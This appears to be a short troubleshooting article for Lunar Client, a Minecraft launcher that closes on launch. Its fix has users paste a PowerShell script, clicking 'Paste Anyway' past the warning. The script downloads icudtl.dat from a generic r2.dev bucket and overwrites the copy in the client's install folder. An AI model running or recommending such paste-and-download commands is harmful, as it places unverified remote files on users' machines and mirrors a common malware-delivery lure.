Lunar Client Closes Upon Opening

Some players are experiencing an issue where Lunar Client closes immediately after launching caused by launching Badlion Client, following the most recent Launcher update. This only affects a small portion of users. To fix this issue:

1. Open Powershell

2. Execute the following command. If prompted when copying press "Paste Anyway" and hit Enter:

$dirs = @(
    "$env:LOCALAPPDATA\Programs\lunarclient",
    "$env:LOCALAPPDATA\Programs\Lunar Client",
    "$env:LOCALAPPDATA\Programs\launcher"
)

$target = $dirs | Where-Object { Test-Path $_ } | Select-Object -First 1

if ($target) {
    Invoke-WebRequest "https://pub-297c6a58c72443ab9ecc42efedc70805.r2.dev/icudtl.dat" -OutFile "$target\icudtl.dat"
    Write-Host "Replaced icudtl.dat in: $target"
} else {
    Write-Host "Neither Lunar Client folder was found under $env:LOCALAPPDATA\Programs"
}

This should now fix your issue and you should be able to open the Launcher again. Ensure you have updated your Lunar Client launcher before attempting to open Badlion Client.